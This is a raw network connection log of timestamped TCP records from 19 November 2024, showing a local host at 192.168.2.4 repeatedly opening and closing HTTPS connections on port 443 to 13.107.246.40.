Nov 19, 2024 22:06:57.895137072 CET	443	49762	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.924479008 CET	443	49759	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.924644947 CET	443	49759	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.924731970 CET	49759	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.924732924 CET	49759	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.924732924 CET	49759	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.926848888 CET	49764	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.926879883 CET	443	49764	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.926934004 CET	49764	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.927026987 CET	49764	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.927033901 CET	443	49764	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.011512041 CET	443	49760	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.011691093 CET	443	49760	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.011748075 CET	49760	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.011770010 CET	49760	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.011790037 CET	443	49760	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.011804104 CET	49760	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.011811972 CET	443	49760	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.013488054 CET	49765	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.013586998 CET	443	49765	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.013673067 CET	49765	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.013780117 CET	49765	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.013801098 CET	443	49765	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.029843092 CET	443	49761	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.030121088 CET	443	49761	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.030191898 CET	49761	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.030270100 CET	49761	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.030271053 CET	49761	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.030311108 CET	443	49761	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.030337095 CET	443	49761	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.031809092 CET	49766	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.031821012 CET	443	49766	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.031884909 CET	49766	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.031989098 CET	49766	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.032000065 CET	443	49766	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.074954033 CET	443	49762	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.075161934 CET	443	49762	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.075364113 CET	49762	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.075381041 CET	49762	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.075390100 CET	443	49762	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.075402975 CET	49762	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.075407028 CET	443	49762	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.077255011 CET	49767	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.077285051 CET	443	49767	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.077367067 CET	49767	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.077497005 CET	49767	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.077538013 CET	443	49767	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.152389050 CET	443	49763	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.152911901 CET	49763	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.152970076 CET	443	49763	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.153342962 CET	49763	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.153372049 CET	443	49763	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.212364912 CET	443	49764	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.212722063 CET	49764	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.212733984 CET	443	49764	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.213196039 CET	49764	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.213200092 CET	443	49764	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.225151062 CET	49759	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.225213051 CET	443	49759	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.296761990 CET	443	49765	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.297230005 CET	49765	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.297257900 CET	443	49765	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.297691107 CET	49765	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.297703028 CET	443	49765	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.321656942 CET	443	49766	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.322073936 CET	49766	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.322083950 CET	443	49766	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.322428942 CET	49766	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.322433949 CET	443	49766	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.334896088 CET	443	49763	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.334969044 CET	443	49763	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.335165977 CET	49763	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.335225105 CET	49763	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.335254908 CET	443	49763	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.335328102 CET	49763	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.335342884 CET	443	49763	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.337971926 CET	49768	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.338011980 CET	443	49768	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.338088989 CET	49768	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.338200092 CET	49768	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.338222027 CET	443	49768	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.360791922 CET	443	49767	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.361151934 CET	49767	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.361169100 CET	443	49767	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.361686945 CET	49767	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.361696959 CET	443	49767	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.396189928 CET	443	49764	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.396373034 CET	443	49764	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.396477938 CET	49764	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.396507025 CET	49764	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.396517992 CET	443	49764	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.396526098 CET	49764	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.396531105 CET	443	49764	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.399089098 CET	49769	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.399139881 CET	443	49769	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.399219036 CET	49769	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.399349928 CET	49769	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.399367094 CET	443	49769	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.477664948 CET	443	49765	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.477818012 CET	443	49765	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.478038073 CET	49765	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.478131056 CET	49765	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.478131056 CET	49765	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.478173971 CET	443	49765	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.478199959 CET	443	49765	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.484915972 CET	49770	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.484962940 CET	443	49770	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.485224962 CET	49770	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.485553026 CET	49770	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.485572100 CET	443	49770	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.502190113 CET	443	49766	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.502351046 CET	443	49766	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.502429962 CET	49766	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.503736019 CET	49766	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.503745079 CET	443	49766	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.503773928 CET	49766	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.503777981 CET	443	49766	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.506509066 CET	49771	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.506589890 CET	443	49771	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.506669998 CET	49771	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.506865025 CET	49771	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.506903887 CET	443	49771	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.548345089 CET	443	49767	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.548541069 CET	443	49767	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.548716068 CET	49767	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.548811913 CET	49767	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.548811913 CET	49767	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.548851967 CET	443	49767	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.548913956 CET	443	49767	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.551095963 CET	49772	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.551177025 CET	443	49772	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.551266909 CET	49772	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.551397085 CET	49772	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.551431894 CET	443	49772	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.613882065 CET	443	49768	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.615215063 CET	49768	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.615250111 CET	443	49768	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.615801096 CET	49768	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.615813017 CET	443	49768	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.676183939 CET	443	49769	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.678740025 CET	49769	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.678803921 CET	443	49769	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.679307938 CET	49769	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.679337978 CET	443	49769	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.768668890 CET	443	49770	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.769577980 CET	49770	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.769608021 CET	443	49770	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.770167112 CET	49770	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.770173073 CET	443	49770	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.790075064 CET	443	49771	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.791479111 CET	49771	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.791554928 CET	443	49771	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.791999102 CET	49771	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.792011976 CET	443	49771	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.795047998 CET	443	49768	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.795120001 CET	443	49768	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.795181990 CET	49768	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.795347929 CET	49768	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.795367002 CET	443	49768	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.795380116 CET	49768	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.795387030 CET	443	49768	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.798104048 CET	49773	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.798202038 CET	443	49773	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.798286915 CET	49773	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.798419952 CET	49773	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.798456907 CET	443	49773	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.839986086 CET	443	49772	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.843152046 CET	49772	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.843209982 CET	443	49772	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.843539953 CET	49772	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.843553066 CET	443	49772	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.863140106 CET	443	49769	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.863395929 CET	443	49769	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.863471985 CET	49769	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.863610983 CET	49769	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.863626957 CET	443	49769	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.863663912 CET	49769	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.863670111 CET	443	49769	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.866158009 CET	49774	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.866214037 CET	443	49774	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.866879940 CET	49774	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.866992950 CET	49774	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.867007971 CET	443	49774	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.948719025 CET	443	49770	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.948921919 CET	443	49770	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.949031115 CET	49770	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.965634108 CET	49770	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.965655088 CET	443	49770	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.965667009 CET	49770	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.965672970 CET	443	49770	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.967711926 CET	49775	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.967808962 CET	443	49775	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.967897892 CET	49775	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.968002081 CET	49775	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.968024015 CET	443	49775	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.975841045 CET	443	49771	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.976011992 CET	443	49771	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.976075888 CET	49771	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.976234913 CET	49771	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.976250887 CET	443	49771	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.976264954 CET	49771	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.976270914 CET	443	49771	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.978059053 CET	49776	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.978079081 CET	443	49776	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:58.978133917 CET	49776	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.978235960 CET	49776	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:58.978250980 CET	443	49776	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.024673939 CET	443	49772	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.024868011 CET	443	49772	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.024981022 CET	49772	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.074372053 CET	443	49773	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.083014011 CET	49772	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.083014011 CET	49772	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.083076000 CET	443	49772	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.083105087 CET	443	49772	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.090274096 CET	49773	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.090305090 CET	443	49773	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.090760946 CET	49773	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.090778112 CET	443	49773	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.093003988 CET	49777	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.093041897 CET	443	49777	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.093159914 CET	49777	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.093693972 CET	49777	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.093713045 CET	443	49777	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.144834995 CET	443	49774	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.193922043 CET	49774	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.241955996 CET	49774	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.242007017 CET	443	49774	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.245520115 CET	49774	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.245590925 CET	443	49774	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.255922079 CET	443	49775	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.266024113 CET	443	49773	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.266415119 CET	443	49773	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.266501904 CET	49773	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.268901110 CET	443	49776	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.290087938 CET	49775	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.290144920 CET	443	49775	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.291609049 CET	49775	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.291624069 CET	443	49775	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.306118011 CET	49773	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.306153059 CET	443	49773	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.306190014 CET	49773	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.306205034 CET	443	49773	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.307841063 CET	49776	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.307898998 CET	443	49776	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.308332920 CET	49776	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.308351040 CET	443	49776	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.311430931 CET	49778	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.311482906 CET	443	49778	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.311592102 CET	49778	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.312057018 CET	49778	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.312087059 CET	443	49778	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.337136984 CET	443	49774	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.337287903 CET	443	49774	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.337366104 CET	49774	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.340783119 CET	49774	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.340783119 CET	49774	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.340816975 CET	443	49774	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.340842009 CET	443	49774	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.352662086 CET	49779	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.352691889 CET	443	49779	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.352760077 CET	49779	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.354345083 CET	49779	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.354363918 CET	443	49779	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.372452974 CET	443	49777	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.375616074 CET	49777	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.375637054 CET	443	49777	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.375989914 CET	49777	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.376002073 CET	443	49777	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.437571049 CET	443	49775	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.437732935 CET	443	49775	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.437794924 CET	49775	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.437839031 CET	49775	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.437839031 CET	49775	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.437859058 CET	443	49775	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.437890053 CET	443	49775	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.439682007 CET	49780	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.439722061 CET	443	49780	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.439908028 CET	49780	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.439995050 CET	49780	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.440010071 CET	443	49780	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.450431108 CET	443	49776	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.450615883 CET	443	49776	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.450701952 CET	49776	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.450779915 CET	49776	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.450779915 CET	49776	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.450820923 CET	443	49776	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.450855970 CET	443	49776	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.452408075 CET	49781	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.452451944 CET	443	49781	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.452537060 CET	49781	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.452689886 CET	49781	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.452713013 CET	443	49781	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.559566021 CET	443	49777	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.560046911 CET	443	49777	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.560106039 CET	49777	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.560165882 CET	49777	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.560183048 CET	443	49777	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.560197115 CET	49777	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.560203075 CET	443	49777	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.562540054 CET	49782	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.562577009 CET	443	49782	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.562750101 CET	49782	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.562865973 CET	49782	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.562876940 CET	443	49782	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.589385986 CET	443	49778	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.593548059 CET	49778	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.593585968 CET	443	49778	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.593898058 CET	49778	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.593910933 CET	443	49778	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.638854027 CET	443	49779	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.640569925 CET	49779	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.640594006 CET	443	49779	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.641314030 CET	49779	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.641320944 CET	443	49779	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.722625017 CET	443	49780	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.723124981 CET	49780	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.723180056 CET	443	49780	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.723521948 CET	49780	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.723534107 CET	443	49780	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.734882116 CET	443	49781	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.735263109 CET	49781	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.735337019 CET	443	49781	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.735687971 CET	49781	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.735703945 CET	443	49781	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.783476114 CET	443	49778	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.783673048 CET	443	49778	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.783735037 CET	49778	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.783802032 CET	49778	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.783832073 CET	443	49778	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.783868074 CET	49778	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.783884048 CET	443	49778	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.786143064 CET	49783	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.786196947 CET	443	49783	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.786274910 CET	49783	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.786365032 CET	49783	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.786395073 CET	443	49783	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.819083929 CET	443	49779	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.819376945 CET	443	49779	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.819423914 CET	49779	443	192.168.2.4	13.107.246.40
